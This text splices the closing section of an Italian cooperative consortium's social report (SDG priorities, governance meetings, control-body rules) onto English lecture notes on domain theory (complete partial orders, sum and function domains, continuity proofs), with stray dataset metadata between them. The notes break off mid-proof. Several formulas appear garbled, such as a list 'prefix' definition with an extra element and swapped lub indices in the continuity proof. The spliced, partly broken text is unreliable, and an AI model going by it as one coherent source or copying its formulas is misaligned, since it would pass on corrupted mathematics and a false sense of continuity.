all’integrazione e all’inclusione di giovani a rischio di devianza nella comunità di riferimento 10. ALTRE INFORMAZIONI NON FINANZIARIE Aspetti di natura sociale, la parità di genere, il rispetto dei diritti umani, la lotta contro la corruzione ecc. Il Consorzio, tramite le varie progettualità che gestisce come capofila o partner territoriale, carca di rispondere ai bisogni raccolti ed espressi in una sorta di ricerca ed offerta di interventi/servizio. Si propone, in linea generale, in base ai bisogni individuati di: - Promuovere il lavoro femminile: all'interno delle imprese, dei nuclei familiari e del territorio valligiano. - Sperimentare azioni collaborative di conciliazione: che agevolino l'entrata e la permanenza delle donne con figli all'interno del mondo del lavoro. - Garantire percorsi educativi di qualità e misure di contrasto della povertà educativa dei figli minorenni: grazie a una fitta rete di legami che coinvolga tutta la comunità educante e mediante la costruzione di azioni complementari e capillari all'interno del territorio. - Collaborare per l'Infrastrutturazione sociale di sistemi territoriali: coesi e capaci di costruire percorsi integrati che guardino con strumenti e modalità sinergiche all'intero nucleo familiare. Sistemi territoriali che siano in grado di applicare su larga scala strumenti innovativi già sperimentati all'interno del territorio con ottimi risultati (p.e. coprogettazione di servizi, attività di sviluppo di comunità, realizzazione di servizi diffusi, ecc.). A livello interno, il Consorzio ha delle modalità organizzative volte a facilitare la conciliazione dei tempi familiari e di lavoro per i propri lavoratori, l'attenzione al benessere, alla salute e alla qualità della vita è un elemento per fondamentale. Cerchiamo di offrire un contesto di lavoro sereno e collaborativo che permetta di esprimere al meglio le proprie potenzialità, generando benefici all'intera all'organizzazione. L'introduzione dello smart working, è diventato uno strumento di lavoro che permette e promuove una modalità di lavoro che garantisce maggiore flessibilità sia nei tempi che nei luoghi di lavoro anche dei destinatari e destinatarie dei servizi. Obiettivi Sviluppo Sostenibile SDGs Lavoriamo in linea con gli Obiettivi di Sviluppo Sostenibile dell'Agenda 2030 per fare la nostra parte, in particolare diamo priorità ai seguenti Obiettivi: OBIETTIVO 8 LAVORO DIGNITOSO L'Agenda 2030 colloca il lavoro dignitoso per tutti i lavoratori e tutte le lavoratrici al centro delle politiche per lo sviluppo e per una crescita sostenibile e inclusiva. OBIETTIVO 1 SCONFIGGERE LA POVERTÀ Per coloro che vivono in una situazione di povertà la principale risorsa è rappresentata dal proprio lavoro e dalla propria capacità di lavorare in modo produttivo. Per questa ragione il lavoro dignitoso per tutti e la protezione sociale rappresentano la strada principale per uscire dalla povertà. OBIETTIVO 3 SALUTE E BENESSERE Lavoratori in buono stato di salute e condizioni di lavoro sicure e dignitose rafforzano la capacità produttiva della forza lavoro. Al contrario, l'impossibilità di accedere all'assistenza sanitaria necessaria, le malattie professionali e gli infortuni sul lavoro spesso conducono all'esclusione delle persone dalla forza lavoro e al loro ingresso nella povertà. OBIETTIVO 5 PARITA' DI GENERE Una maggiore indipendenza economica delle donne costituisce l'elemento fondamentale per conseguire l'uguaglianza di genere. Per la maggior parte delle donne la fonte più importante di dignità e di indipendenza economica è la possibilità di avere un lavoro. Colmare il divario di genere nell'occupazione, garantire un lavoro dignitoso a tutte le donne nonché la parità di retribuzione a parità di lavoro costituiscono quindi elementi chiave per conseguire l'uguaglianza di genere. OBIETTIVO 10 RIDURRE LE DISEGUAGLIANZE La rilevanza che il concetto di lavoro dignitoso assegna al reddito, alla sicurezza sul luogo di lavoro e alla protezione sociale per individui e famiglie costituisce uno strumento diretto per ridurre le disuguaglianze di reddito, di ricchezza e di influenza economica. OBIETTIVO 11 - CITTA' E COMUNITA' SOSTENIBILI La creazione di opportunità di lavoro dignitoso costituisce un elemento fondamentale per uno sviluppo urbano sostenibile. A loro volta, le modalità di sviluppo dei mercati del lavoro delle città possono condurre alla creazione di posti di lavoro dignitosi in grado di ridurre la povertà. Un'Agenda per il lavoro dignitoso nelle zone urbane può rendere le città più produttive, inclusive e sostenibili. Informazioni sulle riunioni degli organi deputati alla gestione e all'approvazione del bilancio, numero dei partecipanti L'Assemblea Soci normalmente si riunisce una volta l'anno, con una partecipazione sempre superiore all'90% degli aventi diritto. La direzione è sempre attenta a eventuali necessità e urgenze che richiedano la convocazione anche per un numero maggiore di assemblee come si evince dalla sezione, del presente bilancio sociale, numero di assemblee nei tre anni. Principali questioni trattate e decisioni adottate nel corso delle riunioni Dalle delibere del Consiglio di Amministrazione emerge il costante impegno per accompagnare il Consorzio al necessario cambiamento organizzativo. L'organizzazione è sempre stata concorde nel rilevare che l'applicazione del sistema qualità ha permesso di focalizzare l'attenzione su quegli ambiti che richiedono un'attenzione e un aggiornamento continuo, ambiti nei quali si è intervenuti ovvero: 1) Mantenimento/potenziamento del dialogo con i soci tramite azioni di coordinamento e percorsi formativi aperti anche ai dipendenti diretti dei soci nonché a parti interessate; 2) Miglioramento nella condivisione di strumenti operativi e/o documentazione grazie all’implementazione del nuovo sistema collaborativo SWEET HIVE/CRM; 3) Ottimizzare e sviluppare il sistema di comunicazione sia all’interno dell’Organizzazione che all’esterno 4) Costituzione di gruppi di lavoro tematici inseribili nell’ambito di specifici progetti (a titolo di esempio: Team bilancio del percorso migratorio -Team Sevizi alla famiglia -Team Soft Skill-Team analisi gestionale); 5) Coinvolgimento dei soci in progetti a valenza multi-regionale; 6) Adesione/Attivazione soci; 7) Attivazione di una filiera operativa sul tema della sostenibilità/economia circolare; 8) Formazione inerente l’aggiornamento del Modello 231 in un’ottica integrata con il sistema di gestione della qualità; 9) Potenziamento dei servizi in collaborazione con enti pubblici, enti privati e ETS (Il Consorzio è presente in numerosi tavoli di co-programmazione e co-progettazione); 10) Stipula di accordi di collaborazione o d’intesa con realtà profit e non profit sia a livello territoriale sia nazionale; 11) Partecipazione a gruppi formali e informali per l’aggiornamento normativo in materia di Politiche Attive del Lavoro (partecipazione a Rete Lavoro Piemonte -Tavoli Tematici istituzionali) 12) Attenzione sulle esigenze dei/delle dipendenti Si evidenzia come i punti sopra riportati afferiscono, in via prioritaria, alla componente ambientale, sociale-legale, tecnica e di compliance, punti importanti nell’ambito dei quali si è potenziato l’intervento; essenziali, per la buona sostenibilità del Consorzio, quelli relativi alla componente economica, ovvero: a) Analisi per verificare gli strumenti utilizzabili per facilitare la modalità di ristorno delle royalty ai soci; b) Solvibilità dei clienti c) Competitività e visibilità La COOPERATIVA/impresa sociale ha adottato il modello della L. 231/2001? Si La COOPERATIVA/impresa sociale ha acquisito il Rating di legalità? No La COOPERATIVA/impresa sociale ha acquisito certificazioni di qualità dei prodotti/processi? Si La Presidente [Signature] 11. MONITORAGGIO SVOLTO DALL’ORGANO DI CONTROLLO SUL BILANCIO SOCIALE (modalità di effettuazione degli esiti) Il bilancio sociale dovrà dare conto del monitoraggio posto in essere e degli esiti dello stesso mediante la relazione dell’organo di controllo, costituente parte integrante del bilancio sociale stesso. Nota per le COOPERATIVE SOCIALI (E PER LE COOPERATIVE IN GENERE): Occorre specificare che l’art. 6 – punto 8 – lett a) del D.M. 4/7/2019 - “Linee guida del bilancio sociale per gli ETS” - prevede l’esclusione delle cooperative sociali dal disposto dell’art. 10 del D.Lgs. 112/2017, in quanto esse, in materia di organo di controllo interno e di suo monitoraggio, sono disciplinate dalle proprie norme codicistiche, in qualità di società cooperative. Sul punto, la norma del D.M. 04/07/2019 ricalca l’orientamento già espresso dal Ministero del Lavoro e delle politiche sociali prot. 2491 del 22 febbraio 2018 e la successiva Nota del 31 gennaio 2019, che ha ritenuto non applicabili alle cooperative sociali le disposizioni di cui all’articolo del 10 del d.lgs. n.112/2017, in tema di organi di controllo interno, con la conseguenza che nelle cooperative l’organo di controllo non è tenuto al monitoraggio sul bilancio sociale). b) Per gli enti diversi dalle imprese sociali osservanza delle finalità sociali, con particolare riguardo alle disposizioni di cui al decreto legislativo n. 117/2017 in materia di: (art. 5, 6, 7 e 8) - esercizio in via esclusiva o principale di una o più attività di cui all’art. 5, comma 1 per finalità civiche solidaristiche e di utilità sociale, in conformità con le norme particolari che ne disciplinano l’esercizio, nonché, eventualmente, di attività diverse da quelle di cui al periodo precedente, purché nei limiti delle previsioni statutarie e secondo criteri di secondarietà e strumentalità secondo criteri e limiti definiti dal decreto ministeriale di cui all’art. 6 del codice del Terzo settore; - rispetto, nelle attività di raccolta fondi effettuate nel corso del periodo di riferimento, dei principi di verità trasparenza e correttezza nei rapporti con i sostenitori e il pubblico e in conformità alle linee guida ministeriali di cui all’art. 7 comma 2 del codice del Terzo settore; - perseguimento dell’assenza dello scopo di lucro, attraverso la destinazione del patrimonio, comprensivo di tutte le sue componenti (ricavi, rendite, proventi, entrate comunque denominate) per lo svolgimento dell’attività statutaria; - l’osservanza del divieto di distribuzione anche indiretta di utili, avanzi di gestione, fondi e riserve a fondatori, associati, lavoratori e collaboratori, amministratori ed altri componenti degli organi sociali, tenendo conto degli indici di cui all’art. 8, comma 3, lettere da a) a e); Relazione organo di controllo Occorre specificare che l’art. 6 – punto 8 – lett a) del D.M. 4/7/2019 - “Linee guida del bilancio sociale per gli ETS” - prevede l’esclusione delle cooperative sociali dal disposto dell’art. 10 del D.Lgs. 112/2017, in quanto esse, in materia di organo di controllo interno e di suo monitoraggio, sono disciplinate dalle proprie norme codicistiche, in qualità di società cooperative. Sul punto, la norma del D.M. 04/07/2019 ricalca l’orientamento già espresso dal Ministero del Lavoro e delle politiche sociali prot. 2491 del 22 febbraio 2018 e la successiva Nota del 31 gennaio 2019, che ha ritenuto non applicabili alle cooperative sociali le disposizioni di cui all’articolo del 10 del d.lgs. n.112/2017, in tema di organi di controllo interno, con la conseguenza che nelle cooperative l’organo di controllo non è tenuto al monitoraggio sul bilancio sociale). Il Consorzio Idea Lavoro, pur essendo assoggettata all’obbligo di redazione e pubblicazione del bilancio sociale ai sensi dell’art. 9, C. 2, D. Legislativo 112/2017, non è assoggettata all’obbligo di attestazione di conformità del bilancio sociale alle linee guida ministeriali, di cui all’art. 10, C. 3, del medesimo decreto.
0a558346-de47-489d-992a-d8d1152de63d
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
128,624
Domain Theory Recursive Definitions \[ f(n) = \text{if } n=0 \text{ then 1 else } f(n-1) \] \[ g(n) = \text{if } n=0 \text{ then 1 else } g(n+1) \] or \[ \begin{align*} \text{define } f &= \lambda n . (\text{if (zerop n) 1 (f (sub n 1)))} \\ \text{define } g &= \lambda n . (\text{if (zerop n) 1 (g (succ n)))} \end{align*} \] A function satisfies a recursive definition iff it is a solution to an equation: \[ \begin{align*} f &= \lambda n . (\text{if (zerop n) 1 (f (sub n 1)))} \\ g &= \lambda n . (\text{if (zerop n) 1 (g (succ n)))} \end{align*} \] Similar to solving a mathematical equation: \[ x = x^2 - 4x + 6. \] Other Recursive Definitions Concrete Syntax \[ \begin{align*} <\text{cmd}> & ::= \text{if } <\text{boolean expr}> \text{ then } <\text{cmd seq}> \text{ end if} \\ <\text{cmd seq}> & ::= <\text{cmd}> \\ & \mid <\text{cmd}> ; <\text{cmd seq}> \end{align*} \] Lists of Numbers List = \{nil\} \cup (N \times \text{List}) \\ where nil represents the empty list Model for Pure Lambda Calculus \[ V = \text{set of variables} \] \[ D = V \cup (D \rightarrow D) \] Problem with Cardinality \[ |D \rightarrow D| \leq |D| < |P(D)| \leq |D \rightarrow D| \] Modeling Nontermination Domains Sets with a lattice-like structure. Each domain contains a bottom element \( \bot \) that is “less than” all other elements. For domains of functions, bottom represents a computation that fails to complete normally. Partial Order \( \subseteq \) on a Set S A relation that is - reflexive - transitive - antisymmetric Definitions \( b \in S \) is a **lower bound** of a subset A of S if \( b \subseteq x \) for all \( x \in A \). \( u \in S \) is an **upper bound** of a subset A of S if \( x \subseteq u \) for all \( x \in A \). A **least upper bound** of A, \( \text{lub } A \), is an upper bound of A that is less than or equal every upper bound of A. Example: Divides relation on \( \{1, 2, 4, 5, 8, 10, 20\} \) Hasse diagram \[ \begin{align*} \text{lub } \{2, 5\} &= \\ \text{lub } \{2, 4, 5, 10\} &= \\ \text{lub } \{1, 2, 4\} &= \\ \text{lub } \{8, 10\} &= \\ \text{lub } \{20\} &= \end{align*} \] An ascending chain in a partially ordered set $S$ is a sequence of elements $\{x_1, x_2, x_3, x_4, \ldots\}$ with the property $$x_1 \subseteq x_2 \subseteq x_3 \subseteq x_4 \subseteq \ldots$$ A complete partial order (cpo) on a set $S$ is a partial order $\subseteq$ with the two properties a) There is an element $\bot \in S$ with $\bot \subseteq x$ for all $x \in S$. b) Every ascending chain in $S$ has a least upper bound in $S$. On domains, $\subseteq$ is thought of as approximates or is less defined than or equal to. Any finite set with a partial order and a bottom element $\bot$ is a cpo. Why? Elementary Domains Natural numbers and Boolean values with a discrete partial order: for $x, y \in S$, $x \subseteq y$ iff $x = y$ or $x = \bot$. Elementary domains correspond to “answers”, the results produced by programs. Proper and Improper values. Also called flat domains. Product Domains If $A$ with ordering $\subseteq_A$ and $B$ with ordering $\subseteq_B$ are complete partial orders, the product domain of $A$ and $B$ is $A \times B$ with the ordering $\subseteq_{A \times B}$ where $$A \times B = \{<a, b> \mid a \in A \text{ and } b \in B\}, \text{ and}$$ $$<a, b> \subseteq_{A \times B} <c, d> \text{ iff } a \subseteq_A c \text{ and } b \subseteq_B d.$$ Thm: $\subseteq_{A \times B}$ is a partial order on $A \times B$. Proof: Exercise Thm: $\subseteq_{A \times B}$ is a complete partial order on $A \times B$. Proof: $\bot_{A \times B} = <\bot_A, \bot_B>$ acts as bottom for $A \times B$, since $\bot_A \subseteq_A a$ and $\bot_B \subseteq_B b$ for $a \in A$ and $b \in B$. If $<a_1, b_1> \subseteq <a_2, b_2> \subseteq <a_3, b_3> \subseteq \ldots$ is an ascending chain in $A \times B$, then $a_1 \subseteq_A a_2 \subseteq_A a_3 \subseteq_A \ldots$ is a chain in $A$ with least upper bound, $\text{lub}\{a_i | i \geq 1\} \in A$, and $b_1 \subseteq_B b_2 \subseteq_B b_3 \subseteq_B \ldots$ is a chain in $B$ with least upper bound, $\text{lub}\{b_i | i \geq 1\} \in B$. Therefore, $<\text{lub}\{a_i | i \geq 1\}, \text{lub}\{b_i | i \geq 1\}> \in A \times B$ is the least upper bound for original chain. Example Level = $\{\bot_L, \text{undergraduate}, \text{graduate}, \text{nondegree}\}$ and Gender = $\{\bot_G, \text{female}, \text{male}\}$ Gender x Level $f, u > f, g > f, n >$ Imagine two processes to determine level and gender of a student. Projection Functions \[ \text{first} : A \times B \rightarrow A \] defined by \( \text{first} <a, b> = a \) for any \( <a, b> \in A \times B \) and \[ \text{second} : A \times B \rightarrow B \] defined by \( \text{second} <a, b> = b \) for any \( <a, b> \in A \times B \) Generalize to arbitrary product domains: \[ D_1 \times D_2 \times \ldots \times D_n \] Application: Calculator Semantics \[ \text{evaluate} \quad [=] (a, op, d, m) = (a, \text{nop}, op(a, d), m) \] is a more readable translation of \[ \text{evaluate} \quad [=] st = (\text{first}(st), \text{nop}, \text{second}(st)(\text{first}(st), \text{third}(st)), \text{fourth}(st)). \] Sum Domains If \( A \) with ordering \( \subseteq_A \) and \( B \) with ordering \( \subseteq_B \) are complete partial orders, the sum domain of \( A \) and \( B \) is \( A + B \) with the ordering \( \subseteq_{A+B} \) where \[ A + B = \{<a, 1> \mid a \in A\} \cup \{<b, 2> \mid b \in B\} \cup \{\bot_{A+B}\}, \] \[ <a, 1> \subseteq_{A+B} <c, 1> \text{ if } a \subseteq_A c, \] \[ <b, 2> \subseteq_{A+B} <d, 2> \text{ if } b \subseteq_B d, \] \[ \bot_{A+B} \subseteq_{A+B} <a, 1> \text{ for each } a \in A, \] \[ \bot_{A+B} \subseteq_{A+B} <b, 2> \text{ for each } b \in B, \text{ and } \] \[ \bot_{A+B} \subseteq_{A+B} \bot_{A+B}. \] Thm: \( \subseteq_{A+B} \) is a complete partial order on \( A + B \). Proof: \( \bot_{A+B} \subseteq x \) for any \( x \in A + B \) by definition. An ascending chain \( x_1 \subseteq x_2 \subseteq x_3 \subseteq \ldots \) in \( A + B \) may repeat \( \bot_{A+B} \) forever or eventually climb into either \( A \times \{1\} \) or \( B \times \{2\} \). In first case, least upper bound will be \( \bot_{A+B} \), and in the other two cases the least upper bound will exist in \( A \) or \( B \). Functions on Sum Domains Let \( S = A + B \). 1. Injection (creation): \[ \text{inS} : A \rightarrow S \] is defined for \( a \in A \) as \( \text{inS} a = <a, 1> \in S \) \[ \text{inS} : B \rightarrow S \] is defined for \( b \in B \) as \( \text{inS} b = <b, 2> \in S \) 2. Projection (selection): \[ \text{outA} : S \rightarrow A \] is defined for \( s \in S \) as \[ \text{outA} s = a \in A \text{ if } s = <a, 1>, \text{ and } \] \[ \text{outA} s = \bot_A \in A \text{ if } s = <b, 2> \text{ or } s = \bot_S. \] \[ \text{outB} : S \rightarrow B \] is defined for \( s \in S \) as \[ \text{outB} s = b \in B \text{ if } s = <b, 2>, \text{ and } \] \[ \text{outB} s = \bot_B \in B \text{ if } s = <a, 1> \text{ or } s = \bot_S. \] 3. Inspection (testing): Recall \( T = \{\text{true}, \text{false}, \bot_T\} \). \[ \text{isA} : S \rightarrow T \] is defined for \( s \in S \) as \[ \text{isA} s \text{ iff there exists } a \in A \text{ with } s = <a, 1>. \] \[ \text{isB} : S \rightarrow T \] is defined for \( s \in S \) as \[ \text{isB} s \text{ iff there exists } b \in B \text{ with } s = <b, 2>. \] In both cases, \( \bot_S \) is mapped to \( \bot_T \). Signature Diagram Observe that \( \text{inS} \) is an overloaded function. Storable Values for Wren \[ \begin{align*} \ldots & \quad -1 \quad 0 \quad 1 \quad 2 \quad \ldots \\ & \quad \bot_{\text{Integer}} \quad \bot_{\text{SV}} \\ & \quad \bot_{\text{Boolean}} \end{align*} \] true false Functions for SV - \( \text{inSV} : \text{Integer} \rightarrow \text{SV} \) - \( \text{inSV} : \text{Boolean} \rightarrow \text{SV} \) - \( \text{outInteger} : \text{SV} \rightarrow \text{Integer} \) - \( \text{isInteger} : \text{SV} \rightarrow \text{T} \) - \( \text{outBoolean} : \text{SV} \rightarrow \text{Boolean} \) - \( \text{isBoolean} : \text{SV} \rightarrow \text{T} \) \[ \begin{align*} \text{SV} &= \text{Integer} + \text{Boolean} = \\ &= \{<n,1> | n \in \text{Integer}\} \cup \{<b,2> | b \in \text{Boolean}\} \cup \{\bot_{\text{SV}}\} \\ \text{or} \\ \text{SV} &= \text{int(Integer)} + \text{bool(Boolean)} = \\ &= \{\text{int}(n) | n \in \text{Integer}\} \cup \{\text{bool}(b) | b \in \text{Boolean}\} \cup \{\bot_{\text{SV}}\} \end{align*} \] Injection function \( \text{inSV} : \text{Integer} \rightarrow \text{SV} \) where \( \text{inSV} n = \text{int}(n) \). The tags (constructors), \( \text{int} \) and \( \text{bool} \), take the place of the overloaded injection function, \( \text{inSV} \). - \( \text{int} : \text{Integer} \rightarrow \text{SV} \) - \( \text{bool} : \text{Boolean} \rightarrow \text{SV} \) Projection function \( \text{outInteger} : \text{SV} \rightarrow \text{Integer} \) where \( \text{outInteger} \text{int}(n) = n \) \( \text{outInteger} \text{bool}(b) = \bot \) \( \text{outInteger} \bot_{\text{SV}} = \bot \). Inspection handled by pattern matching \[ \begin{align*} \text{execute} [[\text{if E then C}] \text{sto} &= \\ &= \text{if p then execute} [[C] \text{sto} \text{else sto} \\ &= \text{where } \text{bool}(p) = \text{evaluate} [[E] \text{sto}, \end{align*} \] stands for \[ \begin{align*} \text{execute} [[\text{if E then C}] \text{sto} &= \\ &= \text{if isBoolean(val)} \\ &= \text{then if outBoolean(val)} \\ &= \text{then execute} [[C] \text{sto} \\ &= \text{else sto} \\ &= \text{else } \bot \\ &= \text{where } \text{val} = \text{evaluate} [[E] \text{sto} \end{align*} \] Generalizations Finite sums: \( D_1 + D_2 + D_3 + \ldots + D_n \) Infinite sums: \( D_1 + D_2 + D_3 + \ldots = \{<d,i> | d \in D_i\} \) Domain of finite Sequences: \[ D^* = \{ \text{nil} \} + D + D^2 + D^3 + D^4 + \ldots \] where \( \text{nil} \) represents the empty sequence. Functions on \( D^* \) Injection: \( \text{inD}^* : D^k \rightarrow D^* \) Projection: \( \text{outD}^k : D^* \rightarrow D^k \) Functions on Lists: Let \( L \in D^* \) and \( e \in D \). Then \( L = <d,k> \) for \( d \in D^k \) for some \( k \geq 0 \) where \( D^0 = \{ \text{nil} \} \). 1. \( \text{head} : D^* \rightarrow D \) where \[ \begin{align*} \text{head} (L) &= \text{first} (\text{outD}^k(L)) \text{ if } k > 0, \text{ and} \\ \text{head} (<\text{nil},0>) &= \bot. \end{align*} \] 2. \( \text{tail} : D^* \rightarrow D^* \) where \[ \begin{align*} \text{tail} (L) &= \text{inD}^*(<2nd (\text{outD}^k(L)), \\ &= 3rd (\text{outD}^k(L)), \ldots, \\ &= kth (\text{outD}^k(L)))> \\ &= \text{if } k > 0, \text{ and} \\ \text{tail} (<\text{nil},0>) &= \bot. \end{align*} \] 3. **null**: $D^* \rightarrow T$ where - $\text{null}(<\text{nil}, 0>) = \text{true}$, and - $\text{null}(L) = \text{false}$ if $L = <d, k>$ with $k > 0$. Therefore, $\text{null}(L) = \text{is}D^0(L)$ 4. **prefix**: $DxD^* \rightarrow D^*$ where - $\text{prefix}(e, L) = \text{in}D^*(<e, 1st(\text{out}D^k(L)), 2nd(\text{out}D^k(L)), \ldots, kth(\text{out}D^k(L))), e>)$ 5. **affix**: $D^*xD \rightarrow D^*$ where - $\text{affix}(L, e) = \text{in}D^*(<1st(\text{out}D^k(L)), 2nd(\text{out}D^k(L)), \ldots, kth(\text{out}D^k(L)), e>)$ Each of these five functions map bottom to bottom. The binary functions *prefix* and *affix* produce $\bot$ if either argument is bottom. --- **Sets of Functions** A function from a set $A$ to a set $B$ is **total** if $f(x) \in B$ is defined for every $x \in A$. If $A$ with ordering $\subseteq_A$ and $B$ with ordering $\subseteq_B$ are complete partial orders, define $\text{Fun}(A, B)$ to be the set of all total functions from $A$ to $B$. Define $\subseteq$ on $\text{Fun}(A, B)$ as follows: - For $f, g \in \text{Fun}(A, B)$, - $f \subseteq g$ if $f(x) \subseteq_B g(x)$ for all $x \in A$. **Lemma**: $\subseteq$ is a partial order on $\text{Fun}(A, B)$. Proof: Follow the definition to show reflexive, transitive, and antisymmetric. See text for complete proof. --- **Restrictions on Fun(A,B)** **Monotonic** A function $f$ in $\text{Fun}(A, B)$ is **monotonic** if $x \subseteq_A y$ implies $f(x) \subseteq_B f(y)$ for all $x, y \in A$. If $\subseteq$ means “approximates”, then when $y$ has at least as much information as $x$, it follows that $f(y)$ has at least as much information as $f(x)$. **Continuous** A function $f \in \text{Fun}(A, B)$ is **continuous** if it preserves least upper bounds; that is, if $X = x_1 \subseteq_A x_2 \subseteq_A x_3 \subseteq_A \ldots$ is an ascending chain in $A$, then $f(\text{lub}_A X) = \text{lub}_B \{f(x) \mid x \in X\}$. Also written $f(\text{lub}_A \{x_i\}) = \text{lub}_B \{f(x_i)\}$ or $f(\text{lub}_A \{x_i \mid i \geq 1\}) = \text{lub}_B \{f(x_i) \mid i \geq 1\}$. No surprises when taking the least upper bounds (limits) of approximations. **Lemma:** If $f \in \text{Fun}(A, B)$ is continuous, then it is monotonic. **Proof:** Suppose $f$ is continuous and $x \subseteq_A y$. Then $x \subseteq_A y \subseteq_A y \subseteq_A y \subseteq_A \ldots$ is an ascending chain in $A$, and since $f$ is continuous, $$f(x) \subseteq_B \lub_B \{f(x), f(y)\} = f(\lub_A \{x, y\}) = f(y). \quad \blacksquare$$ **Function Domains** Define $A \rightarrow B$ to be the set of functions in $\text{Fun}(A, B)$ that are (monotonic and) continuous. This set is ordered by the relation $\subseteq$ from $\text{Fun}(A, B)$. $F \in \text{Fun}(N \rightarrow N, N \rightarrow N)$ defined by $$F g = \lambda n . \begin{cases} 0 & \text{if } g(n) = \bot \\ 1 & \text{else} \end{cases}$$ for $g \in N \rightarrow N$ is not monotonic. **Proof by Counterexample:** Let $g_1 = \lambda n . \bot$ and $g_2 = \lambda n . 0$. Then $g_1 \subseteq g_2$. But $F(g_1) = \lambda n . 0$, $F(g_2) = \lambda n . 1$, and functions $\lambda n . 0$ and $\lambda n . 1$ are not related at all by $\subseteq$. --- **Lemma:** The relation $\subseteq$ restricted to $A \rightarrow B$ is a partial order. **Proof:** The properties reflexive, transitive, and antisymmetric are inherited by a subset. $\blacksquare$ **Lub Lemma:** If $x_1 \subseteq x_2 \subseteq x_3 \subseteq \ldots$ is an ascending chain in a cpo $A$, and $x_i \subseteq d \in A$ for each $i \geq 1$, then $\lub \{x_i | i \geq 1\} \subseteq d$. **Proof:** By the definition of least upper bound, if $d$ is a bound for the chain, the least upper bound, $\lub \{x_i | i \geq 1\}$, must be no larger than $d$. $\blacksquare$ **Limit Lemma:** If $x_1 \subseteq x_2 \subseteq x_3 \subseteq \ldots$ and $y_1 \subseteq y_2 \subseteq y_3 \subseteq \ldots$ are ascending chains in cpo $A$, and $x_i \subseteq y_i$ for each $i \geq 1$, then $\lub \{x_i | i \geq 1\} \subseteq \lub \{y_i | i \geq 1\}$. **Proof:** For each $i \geq 1$, $x_i \subseteq y_i \subseteq \lub \{y_i | i \geq 1\}$. Therefore $\lub \{x_i | i \geq 1\} \subseteq \lub \{y_i | i \geq 1\}$ by the Lub lemma (take $d = \lub \{y_i | i \geq 1\}$). $\blacksquare$ --- **Thm:** The relation $\subseteq$ on $A \rightarrow B$ is a complete partial order. **Proof:** Since $\subseteq$ is a partial order on $A \rightarrow B$, two properties need to be verified: 1. The bottom element in $\text{Fun}(A, B)$ is also in $A \rightarrow B$; that is, the function $\bot(x) = \bot_B$ is monotonic and continuous. 2. For any ascending chain in $A \rightarrow B$, its least upper bound, which is an element of $\text{Fun}(A, B)$, is also in $A \rightarrow B$, namely it is monotonic and continuous. **Part 1:** If $x \subseteq_A y$ for some $x, y \in A$, then $\bot(x) = \bot_B = \bot(y)$, which means $\bot(x) \subseteq_B \bot(y)$, and so $\bot$ is a monotonic function. If $x_1 \subseteq_A x_2 \subseteq_A x_3 \subseteq_A \ldots$ is an ascending chain in $A$, then its image under the function $\bot$ will be the ascending chain $\bot_B \subseteq_B \bot_B \subseteq_B \bot_B \subseteq_B \ldots$, whose least upper bound is $\bot_B$. Therefore, $\bot(\lub_A \{x_i | i \geq 1\}) = \bot_B = \lub_B \{\bot(x_i) | i \geq 1\}$, and $\bot$ is a continuous function. **Part 2:** Let $f_1 \subseteq f_2 \subseteq f_3 \subseteq \ldots$ be an ascending chain in $A \rightarrow B$, and let $F = \lub \{f_i | i \geq 1\}$ be its least upper bound (in $\text{Fun}(A, B)$). Remember the definition of $F$, $F(x) = \lub \{f_i(x) | i \geq 1\}$ for each $x \in A$. We need to show that $F$ is monotonic and continuous so that we know $F$ is a member of $A \rightarrow B$. **Monotonic:** If $x \subseteq_A y$, $f_i(x) \subseteq_B f_i(y) \subseteq_B \lub \{f_i(y) | i \geq 1\}$ for any $i$ since each $f_i$ is monotonic. Therefore, $F(y) = \lub \{f_i(y) | i \geq 1\}$ is an upper bound for each $f_i(x)$, and so the least upper bound of all the $f_i(x)$ satisfies $F(x) = \lub \{f_i(x) | i \geq 1\} \subseteq F(y)$ (Lub lemma), and $F$ is monotonic. **Continuous:** Let $x_1 \subseteq_A x_2 \subseteq_A x_3 \subseteq_A \ldots$ be an ascending chain in $A$. We need to show that $F(\lub \{x_i | i \geq 1\}) = \lub \{F(x_i) | i \geq 1\}$ where $F(x) = \lub \{f_i(x) | i \geq 1\}$ for each $x \in A$. Note that "i" is used to index the ascending chain of functions from $A \rightarrow B$ while "j" is used to index the ascending chains of elements in $A$ and $B$. So $F$ is continuous if $$F(\text{lub}\{x_j|j \geq 1\}) = \text{lub}\{F(x_j)|j \geq 1\}.$$ Recall these definitions and properties: 1. Each $f_i$ is continuous: $$f_i(\text{lub}\{x_j|j \geq 1\}) = \text{lub}\{f_i(x_j)|j \geq 1\}$$ for each chain $\{x_j|j \geq 1\}$ in $A$. 2. Definition of $F$: $$F(x) = \text{lub}\{f_i(x)|i \geq 1\}$$ for each $x \in A$. So $$F(\text{lub}\{x_j|j \geq 1\}) = \text{lub}\{f_i(\text{lub}\{x_j|j \geq 1\})|i \geq 1\} \quad \text{by 2}$$ $$= \text{lub}\{\text{lub}\{f_i(x_j)|j \geq 1\}|i \geq 1\} \quad \text{by 1}$$ $$= \text{lub}\{\text{lub}\{f_i(x_j)|i \geq 1\}|j \geq 1\} \quad \dagger$$ $$= \text{lub}\{F(x_j)|j \geq 1\} \quad \text{by 2}.$$ Look at Figure 10.9. **First Half** $$\text{lub}\{\text{lub}\{f_i(x_j)|j \geq 1\}|i \geq 1\} \subseteq \text{lub}\{\text{lub}\{f_i(x_j)|j \geq 1\}|j \geq 1\}$$ For all $k$ and $j$, $f_k(x_j) \subseteq \text{lub}\{f_i(x_j)|i \geq 1\}$ by the definition of $F$ (the rows of Figure 10.9). We have chains $$f_k(x_1) \subseteq f_k(x_2) \subseteq f_k(x_3) \subseteq \ldots \text{for each } k$$ and $$\text{lub}\{f_i(x_1)|i \geq 1\} \subseteq \text{lub}\{f_i(x_2)|i \geq 1\}$$ $$\subseteq \text{lub}\{f_i(x_3)|i \geq 1\} \subseteq \ldots$$ So for each $k$, $$\text{lub}\{f_k(x_j)|j \geq 1\} \subseteq \text{lub}\{\text{lub}\{f_i(x_j)|i \geq 1\}|j \geq 1\}$$ by the Limit lemma. This corresponds to the top row (remember each $f_k$ is continuous). Hence $$\text{lub}\{\text{lub}\{f_k(x_j)|j \geq 1\}|k \geq 1\} \subseteq \text{lub}\{\text{lub}\{f_i(x_j)|i \geq 1\}|j \geq 1\}$$ by the Lub lemma. Now change $k$ to $i$. **Second Half** $$\text{lub}\{\text{lub}\{f_i(x_j)|j \geq 1\}|j \geq 1\} \subseteq \text{lub}\{\text{lub}\{f_i(x_j)|i \geq 1\}|i \geq 1\}$$ For all $i$ and $k$, $$f_i(x_k) \subseteq 